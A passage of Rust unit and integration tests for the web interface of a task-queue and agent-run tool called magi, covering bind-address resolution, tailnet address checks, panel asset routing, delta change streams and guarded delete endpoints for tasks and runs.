20150    fn bind_reads_back_from_the_spelling_the_cli_prints() {
20151        // The CLI shows the default in `--help` and parses whatever comes
20152        // back, so the two directions have to agree or `--bind auto` breaks
20153        // the moment someone copies the help text.
20154        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20155            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20156        }
20157        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20158        assert!("everywhere".parse::<Bind>().is_err());
20159    }
20160
20161    #[test]
20162    fn an_explicit_bind_address_is_taken_verbatim() {
20163        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20164
20165        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20166
20167        assert_eq!(addr, asked);
20168        assert!(
20169            warning.is_none(),
20170            "an operator who named an address gets no lecture"
20171        );
20172    }
20173
20174    #[test]
20175    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20176        let (addr, warning) = resolve_bind(&Bind::Auto);
20177
20178        // This has to hold on a CI runner with no `tailscale` and on a dev box
20179        // with one, so the invariant asserted is the one shared by both
20180        // outcomes: the address is either a real tailnet address offered
20181        // without comment, or loopback with an explanation. What must never
20182        // happen is a silent fallback - an operator told "listening on
20183        // 127.0.0.1" with no reason would go looking for a firewall.
20184        match addr {
20185            IpAddr::V4(ip) if is_tailnet(&ip) => {
20186                assert!(warning.is_none(), "a tailnet address needs no warning");
20187            }
20188            other => {
20189                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20190                let warning = warning.expect("a fallback has to explain itself");
20191                assert!(
20192                    warning.contains("127.0.0.1") && warning.contains("local-only"),
20193                    "the warning says what happened and what it costs: {warning}"
20194                );
20195            }
20196        }
20197    }
20198
20199    #[test]
20200    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20201        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
20202        // boundary cases are what stop us binding to some other tool's idea of
20203        // an address.
20204        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20205        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20206        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20207        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20208        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20209    }
20210
20211    #[test]
20212    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20213        let ids = vec![
20214            "20260902-140501-aaaa".to_owned(),
20215            "20260902-140502-aabb".to_owned(),
20216        ];
20217
20218        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20219        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20220        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20221
20222        assert_eq!(missing.status, StatusCode::NOT_FOUND);
20223        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20224        assert_eq!(short, "20260902-140502-aabb");
20225    }
20226    #[tokio::test]
20227    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20228        // The prompt tells agents to reference attachments by bare filename.
20229        // A document served at `.../panel` resolves `shot.png` against its own
20230        // directory, i.e. `.../shot.png`, which is not the asset route - so a
20231        // panel written exactly as instructed showed broken images. Caught by
20232        // looking at a real one in a browser, not by reading the code.
20233        let fx = Fixture::start().await;
20234        let id = panel(
20235            &fx,
20236            "<img src=\"shot.png\">",
20237            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20238        );
20239
20240        // The frame's own URL ends in a filename, so its siblings are reachable.
20241        let doc = fx
20242            .get(&format!("/api/questions/{id}/panel/index.html"))
20243            .await;
20244        assert_eq!(doc.status, 200, "{}", doc.body);
20245        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20246
20247        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20248        assert_eq!(sibling.status, 200, "{}", sibling.body);
20249        assert_eq!(sibling.header("content-type"), Some("image/png"));
20250        assert_eq!(
20251            sibling.header("content-security-policy"),
20252            Some(PANEL_CSP),
20253            "the sibling route must carry the same policy as the asset route"
20254        );
20255
20256        // The original spelling keeps working: HEAD on it is how the front end
20257        // decides whether to mount a frame at all.
20258        assert_eq!(
20259            fx.head(&format!("/api/questions/{id}/panel")).await.status,
20260            200
20261        );
20262    }
20263
20264    #[test]
20265    fn delta_stamps_cover_add_update_remove_and_noop() {
20266        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20267        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20268        let delta = diff_stamps(&before, &after, 42);
20269        assert_eq!(delta.base, 42);
20270        assert_eq!(delta.changed, ["b", "c"]);
20271        assert_eq!(delta.removed, ["a"]);
20272        let same = diff_stamps(&after, &after, 43);
20273        assert!(same.changed.is_empty() && same.removed.is_empty());
20274        assert_ne!(stamps_revision(&before), stamps_revision(&after));
20275        let nanos: Stamps = [("b".into(), (2, 20))].into();
20276        let same_ms: Stamps = [("b".into(), (3, 20))].into();
20277        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20278        assert_eq!(stamps_revision(&Stamps::new()), 0);
20279    }
20280
20281    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20282        std::fs::create_dir_all(home.join("runs")).unwrap();
20283        Arc::new(Ui::new(
20284            Queue::at(home.join("queue")),
20285            Questions::at(home.join("questions")),
20286            Talks::at(home.join("talks")),
20287            home.join("runs"),
20288            home.to_owned(),
20289            PathBuf::from("/repo/magi"),
20290        ))
20291    }
20292
20293    #[test]
20294    fn monitor_scan_isolates_store_failures_and_recovers() {
20295        let home = TempDir::new().unwrap();
20296        let ui = delta_test_ui(home.path());
20297        std::fs::create_dir_all(ui.questions.root()).unwrap();
20298        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
20299        let before = monitor_scan(&ui, None);
20300        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
20301        std::fs::write(ui.questions.root(), "not a directory").unwrap();
20302        std::fs::create_dir_all(ui.talks.root()).unwrap();
20303        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
20304        let during = monitor_scan(&ui, Some(before.clone()));
20305        assert_eq!(during.0.2, before.0.2);
20306        assert_ne!(during.0.3, before.0.3);
20307        assert!(during.1[2].contains_key("new"));
20308        std::fs::remove_file(ui.questions.root()).unwrap();
20309        let after = monitor_scan(&ui, Some(during));
20310        assert_eq!(after.0.2, 0);
20311        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
20312        // A failed first scan also permits healthy stores to publish.
20313        std::fs::write(ui.questions.root(), "not a directory").unwrap();
20314        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
20315    }
20316
20317    #[tokio::test]
20318    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
20319        let home = TempDir::new().unwrap();
20320        let ui = delta_test_ui(home.path());
20321        let mut task = Task::new(
20322            "stream task".into(),
20323            "text".into(),
20324            PathBuf::from("/repo"),
20325            Source::Human,
20326        );
20327        ui.queue.put(&mut task).unwrap();
20328        let response = events(State(ui.clone())).await.into_response();
20329        let mut stream = response.into_body().into_data_stream();
20330        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
20331            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
20332                .await
20333                .unwrap()
20334                .unwrap()
20335                .unwrap();
20336            let text = String::from_utf8(chunk.to_vec()).unwrap();
20337            let data = text
20338                .lines()
20339                .find_map(|line| {
20340                    line.strip_prefix("data: ")
20341                        .or_else(|| line.strip_prefix("data:"))
20342                })
20343                .unwrap();
20344            serde_json::from_str(data).unwrap()
20345        }
20346        let initial = change(&mut stream).await;
20347        assert!(initial.get("queue_delta").is_none());
20348        task.instruction.push_str(" changed");
20349        ui.queue.put(&mut task).unwrap();
20350        let updated = change(&mut stream).await;
20351        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
20352        assert_eq!(
20353            updated["queue_delta"]["changed"],
20354            serde_json::json!([task.id])
20355        );
20356        assert_eq!(
20357            updated["queue_rev"].as_u64(),
20358            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
20359        );
20360        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
20361        let removed = change(&mut stream).await;
20362        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
20363        assert_eq!(
20364            removed["queue_delta"]["removed"],
20365            serde_json::json!([task.id])
20366        );
20367    }
20368
20369    #[tokio::test]
20370    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
20371        let home = TempDir::new().unwrap();
20372        let ui = delta_test_ui(home.path());
20373        let queue = ui.queue.clone();
20374        let query = |ids: Option<&str>| {
20375            Query(ListQuery {
20376                limit: Some(2),
20377                ids: ids.map(str::to_owned),
20378            })
20379        };
20380        let mut root = Task::new(
20381            "root".into(),
20382            "instruction".into(),
20383            PathBuf::from("/repo"),
20384            Source::Human,
20385        );
20386        queue.put(&mut root).unwrap();
20387        let mut blocked = Task::new(
20388            "blocked".into(),
20389            "instruction".into(),
20390            PathBuf::from("/repo"),
20391            Source::Human,
20392        );
20393        blocked.block(vec![root.id.clone()], None);
20394        queue.put(&mut blocked).unwrap();
20395        let whole =
20396            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
20397                .unwrap();
20398        let subset = serde_json::to_value(
20399            queue_list(State(ui.clone()), query(Some(&root.id)))
20400                .await
20401                .unwrap()
20402                .0,
20403        )
20404        .unwrap();
20405        assert_eq!(whole, subset, "requested root plus its blocked dependent");
20406        let blockers = serde_json::to_value(
20407            queue_list(State(ui.clone()), query(Some("")))
20408                .await
20409                .unwrap()
20410                .0,
20411        )
20412        .unwrap();
20413        assert_eq!(blockers.as_array().unwrap().len(), 1);
20414        assert_eq!(blockers[0]["id"], blocked.id);
20415        assert_eq!(
20416            blockers[0]["waits_on"],
20417            whole
20418                .as_array()
20419                .unwrap()
20420                .iter()
20421                .find(|row| row["id"] == blocked.id)
20422                .unwrap()["waits_on"]
20423        );
20424
20425        for id in [
20426            "20260902-140501-aaaa",
20427            "20260902-140502-bbbb",
20428            "20260902-140503-cccc",
20429        ] {
20430            write_run(&ui.runs, id, RunStatus::Merged);
20431        }
20432        let old = serde_json::to_value(
20433            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
20434                .await
20435                .unwrap()
20436                .0,
20437        )
20438        .unwrap();
20439        assert!(
20440            old.as_array().unwrap().is_empty(),
20441            "older updates must not enter the window"
20442        );
20443        let newest = serde_json::to_value(
20444            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
20445                .await
20446                .unwrap()
20447                .0,
20448        )
20449        .unwrap();
20450        assert_eq!(newest.as_array().unwrap().len(), 1);
20451        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
20452
20453        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
20454        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
20455        let talks = serde_json::to_value(
20456            talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
20457                .await
20458                .unwrap()
20459                .0,
20460        )
20461        .unwrap();
20462        assert_eq!(talks.as_array().unwrap().len(), 1);
20463        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
20464        assert_eq!(
20465            serde_json::to_value(
20466                talks_list(State(ui.clone()), query(Some("")))
20467                    .await
20468                    .unwrap()
20469                    .0
20470            )
20471            .unwrap(),
20472            serde_json::json!([])
20473        );
20474    }
20475
20476    #[tokio::test]
20477    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
20478    async fn delta_payload_benchmark() {
20479        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
20480        let ui = delta_test_ui(&home);
20481        let query = |ids: Option<String>| {
20482            Query(ListQuery {
20483                limit: Some(50),
20484                ids,
20485            })
20486        };
20487        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
20488        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
20489        let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
20490        let queue_id = queue
20491            .iter()
20492            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
20493            .unwrap_or(&queue[0])
20494            .task
20495            .id
20496            .clone();
20497        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
20498            .await
20499            .unwrap()
20500            .0;
20501        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
20502            .await
20503            .unwrap()
20504            .0;
20505        let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
20506            .await
20507            .unwrap()
20508            .0;
20509        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
20510        eprintln!(
20511            "DELTA_PAYLOAD {}",
20512            serde_json::json!({
20513                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
20514                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
20515                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
20516                "counts": [queue.len(), runs.len(), talks.len()],
20517                "blocked": queue_delta.len() - 1,
20518            })
20519        );
20520    }
20521
20522    #[test]
20523    fn runs_revision_moves_when_deleting_an_older_run() {
20524        let temp = TempDir::new().expect("tempdir");
20525        let runs = temp.path().join("runs");
20526        std::fs::create_dir_all(&runs).expect("create runs dir");
20527
20528        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
20529
20530        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
20531        std::thread::sleep(Duration::from_millis(10));
20532        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
20533
20534        let rev_before = runs_revision(&runs);
20535        assert!(rev_before > 0);
20536
20537        let old_dir = runs.join("20260901-100000-old1");
20538        std::fs::remove_dir_all(&old_dir).expect("remove old run");
20539
20540        let rev_after = runs_revision(&runs);
20541        assert_ne!(
20542            rev_before, rev_after,
20543            "deleting an older run must change the revision so other clients see the deletion"
20544        );
20545    }
20546
20547    /// A run's own `run.json` on an explicit `runs` root, bypassing the
20548    /// process-global home entirely — `RunState::save` writes through
20549    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
20550    /// (see `tests::home_lock` in the integration suite for why).
20551    fn write_state(runs: &FsPath, state: &RunState) {
20552        let dir = runs.join(&state.id);
20553        std::fs::create_dir_all(&dir).expect("run dir");
20554        std::fs::write(
20555            dir.join("run.json"),
20556            serde_json::to_string_pretty(state).expect("serialize run"),
20557        )
20558        .expect("write run.json");
20559    }
20560
20561    /// A seat starting or finishing is a write to `run.json` like any other,
20562    /// so it moves the same revision the change stream already watches —
20563    /// nothing new for `/api/events` to learn, but the property this feature
20564    /// depends on to reach the phone without a poll.
20565    #[test]
20566    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
20567        let temp = TempDir::new().expect("tempdir");
20568        let runs = temp.path().join("runs");
20569        std::fs::create_dir_all(&runs).expect("create runs dir");
20570        let mut state = RunState::new(
20571            PathBuf::from("/repo/magi"),
20572            "main".to_owned(),
20573            "0123456789abcdef".to_owned(),
20574            "task".to_owned(),
20575            Config::default(),
20576        );
20577        state.id = "20260902-100000-c0de".to_owned();
20578        write_state(&runs, &state);
20579
20580        let rev_idle = runs_revision(&runs);
20581        std::thread::sleep(Duration::from_millis(10));
20582        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
20583        write_state(&runs, &state);
20584        let rev_started = runs_revision(&runs);
20585        assert_ne!(
20586            rev_idle, rev_started,
20587            "a seat starting must move the revision"
20588        );
20589
20590        std::thread::sleep(Duration::from_millis(10));
20591        state.seat_finished("judge-1");
20592        write_state(&runs, &state);
20593        let rev_finished = runs_revision(&runs);
20594        assert_ne!(
20595            rev_started, rev_finished,
20596            "and clearing it again must move the revision a second time"
20597        );
20598    }
20599
20600    #[tokio::test]
20601    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
20602        // `TaskView` flattens `Task`, so this is really asserting that
20603        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
20604        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
20605        // never touched web.rs, so nothing here caught it if it had.
20606        let fx = Fixture::start().await;
20607        let q = fx.queue();
20608
20609        let mut t = Task::new(
20610            "Task".to_owned(),
20611            "Instruction".to_owned(),
20612            PathBuf::from("/repo"),
20613            Source::Human,
20614        );
20615        t.block(
20616            vec!["20260101-000000-dead".to_owned()],
20617            Some("waiting on Task 1".to_owned()),
20618        );
20619        t.answers.push(crate::queue::AnsweredQuestion {
20620            question: "Which backend?".to_owned(),
20621            answer: "SQLite".to_owned(),
20622        });
20623        q.put(&mut t).expect("put t");
20624
20625        let res = fx.get("/api/queue").await;
20626        assert_eq!(res.status, 200);
20627        let list = res.json();
20628        let view = list
20629            .as_array()
20630            .expect("array")
20631            .iter()
20632            .find(|v| v["id"] == t.id)
20633            .expect("task in list");
20634        assert_eq!(view["status_str"], "blocked");
20635        assert_eq!(
20636            view["blocked_by"],
20637            serde_json::json!(["20260101-000000-dead"])
20638        );
20639        assert_eq!(view["block_reason"], "waiting on Task 1");
20640        assert_eq!(view["answers"][0]["question"], "Which backend?");
20641        assert_eq!(view["answers"][0]["answer"], "SQLite");
20642
20643        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
20644        // but never `answers` - that is a settled decision, not state
20645        // describing the current block, so it survives.
20646        let res = fx
20647            .post(&format!("/api/queue/{}/hold", t.short()), None)
20648            .await;
20649        assert_eq!(res.status, 200);
20650        let held = res.json();
20651        assert_eq!(held["status_str"], "held");
20652        assert_eq!(held["blocked_by"], serde_json::json!([]));
20653        assert!(held["block_reason"].is_null());
20654        assert_eq!(held["answers"][0]["answer"], "SQLite");
20655    }
20656
20657    #[tokio::test]
20658    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
20659        let fx = Fixture::start().await;
20660        let q = fx.queue();
20661        let mk = |title: &str| {
20662            Task::new(
20663                title.to_owned(),
20664                "Instruction".to_owned(),
20665                PathBuf::from("/repo"),
20666                Source::Human,
20667            )
20668        };
20669        let mut root = mk("root");
20670        root.hold_manual(Some("waiting".to_owned()));
20671        q.put(&mut root).unwrap();
20672        let mut mid = mk("mid");
20673        mid.block(vec![root.id.clone()], None);
20674        q.put(&mut mid).unwrap();
20675        let mut leaf = mk("leaf");
20676        leaf.block(vec![mid.id.clone()], None);
20677        q.put(&mut leaf).unwrap();
20678
20679        let list = fx.get("/api/queue").await.json();
20680        let find = |id: &str| {
20681            list.as_array()
20682                .unwrap()
20683                .iter()
20684                .find(|v| v["id"] == id)
20685                .unwrap()
20686                .clone()
20687        };
20688        let leaf_view = find(&leaf.id);
20689        assert_eq!(
20690            leaf_view["waits_on"],
20691            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
20692        );
20693        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
20694        assert_eq!(
20695            find(&mid.id)["waits_on"],
20696            serde_json::json!([format!("{} (held)", root.short())])
20697        );
20698        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
20699    }
20700
20701    #[tokio::test]
20702    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
20703        let fx = Fixture::start().await;
20704        let q = fx.queue();
20705
20706        // 1. A queued task with runs attached can be deleted.
20707        let mut t1 = Task::new(
20708            "Task 1".to_owned(),
20709            "Instruction 1".to_owned(),
20710            PathBuf::from("/repo"),
20711            Source::Human,
20712        );
20713        let run_id = "20260901-000000-r111";
20714        t1.runs.push(run_id.to_owned());
20715        write_run(&fx.runs(), run_id, RunStatus::Merged);
20716        q.put(&mut t1).expect("put t1");
20717
20718        // Delete by short id
20719        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
20720        assert_eq!(res.status, 204);
20721        assert!(res.body.is_empty(), "204 No Content has no body");
20722        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
20723        assert!(
20724            fx.runs().join(run_id).exists(),
20725            "run directory must not be deleted when its task is deleted"
20726        );
20727
20728        // 2. A task a live daemon is running is refused with 409.
20729        let mut t2 = Task::new(
20730            "Task 2".to_owned(),
20731            "Instruction 2".to_owned(),
20732            PathBuf::from("/repo"),
20733            Source::Human,
20734        );
20735        t2.status = TaskStatus::Running;
20736        q.put(&mut t2).expect("put t2");
20737        let mut beat = crate::daemon::Status::new();
20738        beat.current = vec![crate::daemon::Current {
20739            task: t2.id.clone(),
20740            run: "20260901-000000-r222".to_owned(),
20741        }];
20742        beat.updated_at = jiff::Timestamp::now();
20743        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20744            .expect("publish a heartbeat");
20745        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
20746        assert_eq!(res.status, 409);
20747        assert!(
20748            res.json()["error"]
20749                .as_str()
20750                .unwrap()
20751                .contains("live daemon")
20752        );
20753        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
20754
20755        // 3. The same `running` status and an orphaned lock, with no daemon
20756        // behind either, is a leftover and deletable. Before this the phone
20757        // refused it for good: the status never changes on its own and
20758        // nothing drops a lock whose process is gone.
20759        // The daemon is killed: the file stays, the heartbeat stops.
20760        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
20761        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20762            .expect("leave a stale heartbeat");
20763        let mut t3 = Task::new(
20764            "Task 3".to_owned(),
20765            "Instruction 3".to_owned(),
20766            PathBuf::from("/repo"),
20767            Source::Human,
20768        );
20769        t3.status = TaskStatus::Running;
20770        q.put(&mut t3).expect("put t3");
20771        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
20772        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
20773        assert_eq!(res.status, 204);
20774        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
20775        assert!(
20776            q.claim(&t3.id).is_ok(),
20777            "the stale lock went with it, so the id is claimable again"
20778        );
20779
20780        // 4. Missing id returns 404
20781        let res = fx.delete("/api/queue/nonexistent").await;
20782        assert_eq!(res.status, 404);
20783    }
20784
20785    #[tokio::test]
20786    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
20787        let fx = Fixture::start().await;
20788        let runs = fx.runs();
20789
20790        // 1. Finished and folded run can be deleted along with artifacts
20791        let run_id = "20260901-000000-fold";
20792        let mut state = RunState::new(
20793            PathBuf::from("/repo"),
20794            "main".to_owned(),
20795            "abc".to_owned(),
20796            "instruction".to_owned(),
20797            Config::default(),
20798        );
20799        state.id = run_id.to_owned();
20800        state.status = RunStatus::Merged;
20801        state.candidates.push(crate::run::Candidate {
20802            index: 0,
20803            label: 'A',
20804            agent: "a".to_owned(),
20805            branch: "b".to_owned(),
20806            worktree: PathBuf::from("/w"),
20807            summary: String::new(),
20808            stat: String::new(),
20809            files: 1,
20810            commits: 1,
20811            empty: false,
20812            failed: None,
20813            verified_noop: None,
20814            duration_ms: 0,
20815            folded: true,
20816        });
20817        let dir = runs.join(run_id);
20818        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
20819        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
20820            .expect("write artifact");
20821        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
20822            .expect("write run.json");
20823
20824        // Delete by short id
20825        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
20826        assert_eq!(res.status, 204);
20827        assert!(res.body.is_empty(), "204 has no body");
20828        assert!(!dir.exists(), "run directory and artifacts must be deleted");
20829
20830        // 2. A run a live daemon is working on is refused with 409. The
20831        // heartbeat is what makes it refusable: an unfinished run with no
20832        // daemon behind it is a leftover from a killed process, and case 1
20833        // above would otherwise be impossible to tell apart from this one.
20834        let run_running = "20260901-000000-rung";
20835        write_run(&runs, run_running, RunStatus::Prep);
20836        let mut beat = crate::daemon::Status::new();
20837        beat.current = vec![crate::daemon::Current {
20838            task: "20260901-000000-task".to_owned(),
20839            run: run_running.to_owned(),
20840        }];
20841        beat.updated_at = jiff::Timestamp::now();
20842        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20843            .expect("publish a heartbeat");
20844        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
20845        assert_eq!(res.status, 409);
20846        assert!(
20847            res.json()["error"]
20848                .as_str()
20849                .unwrap()
20850                .contains("live daemon"),
20851            "the refusal must say who is holding it"
20852        );
20853        assert!(
20854            runs.join(run_running).exists(),
20855            "a run in flight keeps its directory"
20856        );
20857
20858        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
20859        let run_unfolded = "20260901-000000-unfd";
20860        let mut state2 = RunState::new(
20861            PathBuf::from("/repo"),
20862            "main".to_owned(),
20863            "abc".to_owned(),
20864            "instruction".to_owned(),
20865            Config::default(),
20866        );
20867        state2.id = run_unfolded.to_owned();
20868        state2.status = RunStatus::Ready;
20869        state2.candidates.push(crate::run::Candidate {
20870            index: 0,
20871            label: 'A',
20872            agent: "a".to_owned(),
20873            branch: "b".to_owned(),
20874            worktree: PathBuf::from("/w"),
20875            summary: String::new(),
20876            stat: String::new(),
20877            files: 1,
20878            commits: 1,
20879            empty: false,
20880            failed: None,
20881            verified_noop: None,
20882            duration_ms: 0,
20883            folded: false,
20884        });
20885        let dir2 = runs.join(run_unfolded);
20886        std::fs::create_dir_all(&dir2).expect("create dir2");
20887        std::fs::write(
20888            dir2.join("run.json"),
20889            serde_json::to_string(&state2).unwrap(),
20890        )
20891        .expect("write run.json");
20892
20893        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
20894        assert_eq!(res.status, 409);
20895        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
20896        assert!(dir2.exists(), "unfolded run directory is kept");
20897
20898        // 4. Missing id returns 404
20899        let res = fx.delete("/api/runs/nonexistent").await;
20900        assert_eq!(res.status, 404);
20901    }
20902
20903    /// The queue tiles on the Stats tab must render even on a home with no
20904    /// runs at all: queue state is not derived from run history, so hiding
20905    /// the whole dashboard body behind "no runs yet" would drop the one
20906    /// thing this tab promises unconditionally (queued/running/held/done).
20907    /// A DOM-level test would need a browser this suite does not have, so
20908    /// this pins the same invariant textually: `renderStatsQueue` is called
20909    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
20910    /// block that gates the run-derived panels.
20911    #[test]
20912    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
20913        let start = APP_JS
20914            .find("function renderStats() {")
20915            .expect("renderStats");
20916        let end = start
20917            + APP_JS[start..]
20918                .find("function statsTile(")
20919                .expect("the next top-level function");
20920        let body = &APP_JS[start..end];
20921
20922        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
20923        let gate_end = gate_start
20924            + body[gate_start..]
20925                .find("}\n  renderStatsQueue")
20926                .expect("the gate's own closing brace, right before the unconditional call");
20927        let gated = &body[gate_start..gate_end];
20928
20929        assert_eq!(
20930            body.matches("renderStatsQueue(").count(),
20931            1,
20932            "renderStats must call renderStatsQueue exactly once: {body}"
20933        );
20934        assert!(
20935            !gated.contains("renderStatsQueue"),
20936            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
20937             run-derived panels on an empty run history - the queue panel has to render \
20938             regardless: {gated}"
20939        );
20940    }
20941
20942    #[test]
20943    fn web_ui_delete_contract_in_front_end() {
20944        // 1. API block has both delete endpoints
20945        assert!(APP_JS.contains("deleteRun:"));
20946        assert!(APP_JS.contains("deleteTask:"));
20947
20948        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
20949        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
20950            ..APP_JS.find("function renderRuns").unwrap()];
20951        assert!(!run_cards_slice.to_lowercase().contains("delete"));
20952
20953        // 3. Run detail has delete entry and reasons
20954        assert!(APP_JS.contains("renderRunDelete"));
20955        assert!(APP_JS.contains("runDeleteReason"));
20956        assert!(APP_JS.contains("magi fold"));
20957        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
20958
20959        // 4. Two-step delete arming and focus on Cancel
20960        assert!(APP_JS.contains("cancel.focus"));
20961        assert!(APP_JS.contains("armedRunDelete"));
20962        assert!(APP_JS.contains("renderTaskDeleteBox"));
20963        assert!(APP_JS.contains("armed${cap(key)}"));
20964
20965        // 5. Running task has disabled delete
20966        assert!(APP_JS.contains("disabled: status === \"running\""));
20967    }
20968
20969    /// Every element a run card's updater reaches for must be in the `refs`
20970    /// the builder handed it.
20971    ///
20972    /// `createRunCard` builds its elements, appends them to the card, and then
20973    /// lists them again in `row.refs`. That second list is the one the updater
20974    /// uses, and nothing connects the two - an element can be built, appended
20975    /// and rendered, and still be missing from `refs`. `superseded` was, for
20976    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
20977    /// exception took `syncList` with it, and the deck showed
20978    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
20979    /// line is computed before the cards, which is why the failure looked like
20980    /// a server that had lost its runs rather than a front end that had
20981    /// stopped rendering them.
20982    ///
20983    /// A `cargo test` cannot execute the front end, so this reads the two
20984    /// halves out of the source and compares them as sets. It is not a check
20985    /// on the wording of either list: adding an element, renaming one, or
20986    /// reordering them all keeps this passing, and only using one the builder
20987    /// never published fails it.
20988    #[test]
20989    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
20990        let build = APP_JS
20991            .find("function createRunCard")
20992            .expect("createRunCard exists");
20993        let update = APP_JS
20994            .find("function updateRunCard")
